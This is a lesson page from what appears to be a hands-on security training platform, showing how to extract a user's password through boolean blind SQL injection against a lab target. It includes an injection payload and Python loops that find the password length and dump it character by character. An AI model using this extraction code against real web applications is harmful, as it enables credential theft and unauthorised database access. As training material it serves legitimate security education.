Blind SQL Injection  

Extracting Data

Finding the Length

Now that we have a functioning oracle, we can get to work on dumping passwords! The first thing we have to do is find the length of the password. We can do this by using LEN(string), starting from 1 and going up until we get a positive result.

# Get the target's password length
length = 0
# Loop until the value of `length` matches `LEN(password)`
while not oracle(f"LEN(password)={length}"):
    length += 1
print(f"[*] Password length = {length}")

If we run the script at this point we should get the length of maria's password after a couple of seconds:

[!bash!]$ python poc.py
[*] Password length = <SNIP>

Dumping the Characters

Knowing the length of the password we want to dump, we can start dumping one character at a time. In SQL, we can get a single character from a column with SUBSTRING(expression, start, length). In this case we are interested in the N-th character of the password, so we'd use SUBSTRING(password, N, 1).

Next, to make things a bit simpler, we can convert this character into a decimal value using ASCII(character). ASCII characters have decimal values from 0 to 127, so we can simply ask the server if ASCII(SUBSTRING(password, N, 1))=C for values of C in [0,127].

First, let's try to manually dump the first character, to further understand how this attack works. Let's start with the first character at position 1 (SUBSTRING(password, 1, 1)), and try the first character in the ASCII table with value 0. This would make the following SQL query:

maria' AND ASCII(SUBSTRING(password,1,1))=0-- -

Now, if we send a query with the above injection, we get available, meaning the first character is not ASCII character 0: boolean_character_mismatch

This is expected since the first ASCII character is a null character. This is why it may make more sense to limit our search to printable ASCII characters, which range from 32 to 126. For the sake of demonstrating a valid match, we will assume the first character of the password to be the number 9, or 57 in the ASCII table. This time, when we send the query we get taken, meaning we got a valid match and that the 1st character in the password field is 57 in ASCII or the character 9: boolean_character_match

Automating it

In our Python script, it should look like this:

# Dump the target's password
print("[*] Password = ", end='')
# Loop through all character indices in the password. SQL starts with 1, not 0
for i in range(1, length + 1):
   # Loop through all decimal values for printable ASCII characters (0x20-0x7E)
   for c in range(32,127):
        if oracle(f"ASCII(SUBSTRING(password,{i},1))={c}"):
            print(chr(c), end='')
            sys.stdout.flush()
print()

Running our script we should now get both the password length and the complete password. This will take quite a long time though; you can either wait it out or check out the Optimizing section and come back here.

[!bash!]$ python poc.py
[*] Password length = <SNIP>
[*] Password = <SNIP>

VPN Servers

Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.
Existing PwnBox instances will automatically switch to the new VPN server.

Switching VPN...

PROTOCOL

/ 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Click here to spawn the target system!

Target: Click here to spawn the target system!

+10 Streak pts

+10 Streak pts

Previous

+10 Streak pts

Next
Go to Questions
My Workstation

OFFLINE

/ 1 spawns left